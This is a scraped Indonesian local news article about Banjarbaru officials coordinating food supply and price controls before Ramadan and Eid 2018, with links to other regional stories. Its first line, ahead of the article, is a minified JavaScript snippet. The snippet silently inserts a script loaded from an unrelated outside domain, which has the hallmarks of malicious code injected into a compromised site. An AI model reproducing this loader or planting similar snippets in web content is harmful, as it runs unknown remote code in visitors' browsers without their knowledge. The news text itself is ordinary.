(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Ramadhan tinggal menghitung hari. Seakan sudah menjadi kebiasaan jika Ramadhan tiba, bahan pokok dan ketersediaan bahan pokok mulai langka dan harga pun melonjak naik. Bahkan kenaikan harga bahan pokok sudah mulai meninggi, ada beberapa bahan pokok yang sering kali naik kelas harga adalah telur, ayam, bawang merah, cabai merah, daging sapi, minyak goreng dan lain-lain.
Rapat Koordinasi Ketersediaan Pangan menjelang Hari Besar Keagamaan Nasional yang digelar Pemko Banjarbaru, berusaha menjamin keamanan pasokan pangan dan lonjakan harga pangan menjelang Ramadhan dan Idul Fitri.
“Maka kami melakukan kesiapan serta persiapan ketersediaan pasokan pangan dan antisipasi kenaikan harga pangan. Agar masyarakat ekonomi menengah kebawah masih mudah dalam mendapatkan pasokan pangan dengan harga seperti biasa serta dapat menghindari lonjakan harga pangan†ujar Kepala Dinas Ketahanan Pangan dan Perikanan Banjarbaru, Siti Hamdah SP, MT, Jumat (11/5) kepada Kanalkalimantan.com.
Dengan mengidentifikasi potensi dan permasalahan yang timbul dalam pengembangan cadangan pangan masyarakat sekaligus untuk mengadakan pembinaan, pengembangan alternatif peningkatan ketersediaan dan cadangan pangan. Ketersediaan pangan pada intinya diarahkan pada pemenuhan pangan dengan memanfaatkan sumber daya alam, agar ketersediaan pangan dapat diketahui perkembangannya setiap saat.
“Maka perlu dilakukan pelaporan secara rutin dari waktu ke waktu secara berkelanjutan, dengan ketersediaan data yang ada, maka dapat dibuat langkah-langkah strategis untuk meminimalis pengurangan produksi dan menyiapkan kegiatan-kegiatan yang dapat meningkatkan produksi. saat ini kami nilai untuk ketersediaan bahan pangan di Kota Banjarbaru dinyatakan aman,†ujar Siti Hamdah.
Rapat koordinasi ini untuk mengantisipasi kenaikan harga pangan pokok menjelang hari besar keagamaan nasional, yakni bulan Ramadhan dan Idul Fitri, serta untuk ketersediaan stok pangan dan upaya menstabilkan harga.
Menurut perkiraan, kebutuhan pangan pada bulan Hari Besar Keagamaan Nasional akan mengalami peningkatan. Ketersediaan Pangan dan Harga Pangan menjelang Hari Besar Keagamaan Nasional (HBKN) di Banjarbaru untuk ketersediaan pasokan bahan pokok menghadapi bulan suci Ramadhan dan mengadapi Hari Raya Idul Fitri 1439 H tahun 2018 dinyatakan cukup. Sedangkan untuk bawang merah dan kedelai serta gula masih tergantung pasokan dari luar daerah. (devi)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.